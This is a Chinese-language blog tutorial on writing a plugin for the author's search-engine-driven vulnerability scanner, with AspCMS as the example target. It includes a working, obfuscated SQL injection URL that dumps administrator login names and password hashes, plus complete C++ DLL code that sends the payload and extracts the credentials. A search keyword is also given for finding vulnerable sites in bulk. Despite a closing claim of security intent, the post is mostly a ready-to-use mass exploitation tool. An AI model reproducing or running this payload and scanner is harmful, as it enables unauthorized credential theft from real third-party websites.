示例编写插件
续上篇文章: Wker_SearchEngineScanVlun FrameWork搜索引擎漏洞链接统计框架
有人说到如何写插件,那么我就写一个,随便找个简单的aspcms漏洞。
首先我们先要知道攻击的载荷:
/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
其实写插件是很简单的。
首先我们创建一个mfc的dll项目(我这里用的是vs2010,其实无所谓,只要有mfc库就可以了)
我们默认生成创建就好。
进入之后我们删除掉mfc自带的一些示例代码(其实删不删除也无所谓):
删除掉之后我们写上去头文件的一些结构和导出函数:
#include <afxinet.h>
struct URLStruct
{
DWORD HTTPFlag;
CString Domain;
CString path;
CMap<CString,LPCTSTR,CString,LPCTSTR> arg;
INTERNET_PORT PORT;
};
extern "C" BOOL ScanVlun(URLStruct* Link,CString *Detail);
然后有一点需要注意,我们在项目中的def文件写上我们的导出函数:
这个有了的话呢我们就不用担心导出的问题了。
然后我们就可以在对应的cpp中写代码了。
在这里我再一次讲述一遍:
第一个参数是我从搜索引擎插件中获取的链接的一些结构。
- HTTPFlag:http的信息,详细见
AfxParseURL
这个函数的HTTPflag - Domain:是链接的域名
- path:链接的域名
- arg:是链接的参数,键值对
- PORT:是网站的端口
函数的返回值代表是否存在漏洞,第二个参数是你给我的,主要来描述漏洞的,往下看你就知道了。
知道这么些之后就可以了,我们就来写这个漏洞的检测插件。
这里的话呢我之前封装过一个mfc的网页访问类,这里我直接用了,如果你们也想要,可以在下方找我要,我会给你们代码的。
因为我没封装正则,所一这里我就用一个取文本中间的函数,这个网上好多,我给大家贴上来一个:
int BetweenEx(CString str, CString leftstr, CString rightstr, CStringArray &strarr)
{
int leftIndex = str.Find(leftstr);
int leftLength = leftstr.GetLength();
int rightIndex = 0;
while (leftIndex != -1)
{
rightIndex = str.Find(rightstr, leftIndex + leftLength);
if (rightIndex == -1)
break;
strarr.Add(str.Mid(leftIndex + leftLength, rightIndex - leftIndex - leftLength));
leftIndex = str.Find(leftstr, rightIndex + 1);
}
return strarr.GetSize();
}
这个看参数就知道什么意思了,第一个是文本,第二个是前面的文本,第三个是后面的文本,第四个是一个引用的数组,接受取出文本中间的内容。
到这里代码大部分就完成了,接下来就是代码了,这个是要靠你们根据情况来了,通过这个漏洞,我们找到一个存在漏洞的页面获取源代码可以看到:
<div class="clistbox">
<div class="line1"><span>发表于:2020-5-25 17:34:36</span> 评论者:admin IP: </div>
<div class="line2">49ba59abbe56e057</div>
</div>
<div class="pages"><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1 from {prefix}user,1)">首页</a><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1 from {prefix}user,1)">上一页</a><span href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1 from {prefix}user,1)">1</span><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1 from {prefix}user,1)">下一页</a><a href="javascript:pager(0 union select top 1 UserID,GroupID,LoginName,Password,now(),null,1 from {prefix}user,1)">末页</a></div>
接下来就是解析这个账号和密码了,就是很简单的操作了,相信这块大家不会有任何疑问,我就直接贴代码了:
extern "C" BOOL ScanVlun(URLStruct* Link,CString *Detail)
{
CHttpVist WebVist;
CString RealURL;
RealURL.Format("http://%s",Link->Domain);
RealURL.Append("/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user");
CStringArray tmp;
CString Header;
CString Sresult=WebVist.GetData(RealURL,&tmp,Header);
CStringArray resArray;
BetweenEx(Sresult,"<div class=\"line2\">","</div>",resArray);
if (resArray.GetSize()>0)
{
CString pass=resArray.GetAt(0);
BetweenEx(Sresult,"评论者:"," IP:",resArray);
CString user=resArray.GetAt(0);
Detail->Format("存在aspcms漏洞,账号:%s,密码:%s",user,pass);
return TRUE;
}
return FALSE;
}
很简单,就是获取到有漏洞页面的源代码,然后取出指定文本之间的内容就可以了。
这里大家可以看到,我将第二个指针参数进行了赋值,到此为止我们的代码就写完了,基本就是十几行的代码,基本没难度。
接下来我们生成,将Debug改为Release版本:
然后将字符改为多字节(这个是我的一个习惯)
到此为止,完全写完了,我们生成dll:
然后将我们生成的dll放在框架目录下的Vlun目录下。
然后我们来新建一个策略:
关键字:
PoweredbyAspCms2.0
这里注意的是,我写搜索引擎插件的时候没有使用URL编码,所以这里尽量不要有乱七八糟字符。
接下来我们使用这个策略:
OK,接下来就是等待了。
等待一段时间,我们看一下结果:
好了,这就是写一个属于特定漏洞的插件,很简单,搜索引擎插件这里就不说了,和漏洞一样,看我上一篇文章就可以了,一样简单,尽量不要将key强行硬编码进dll,这个是我的建议。
如果大家希望得到fofa,shodan,钟馗的搜索插件,我可以开发出来给大家使用,但是我感觉我写的这五个插件已经够用了。
这里我还需要在强调一遍,这个小工具只是提升整体网络安全的作用,所以不要乱想,细节看程序启动的AboutDlg。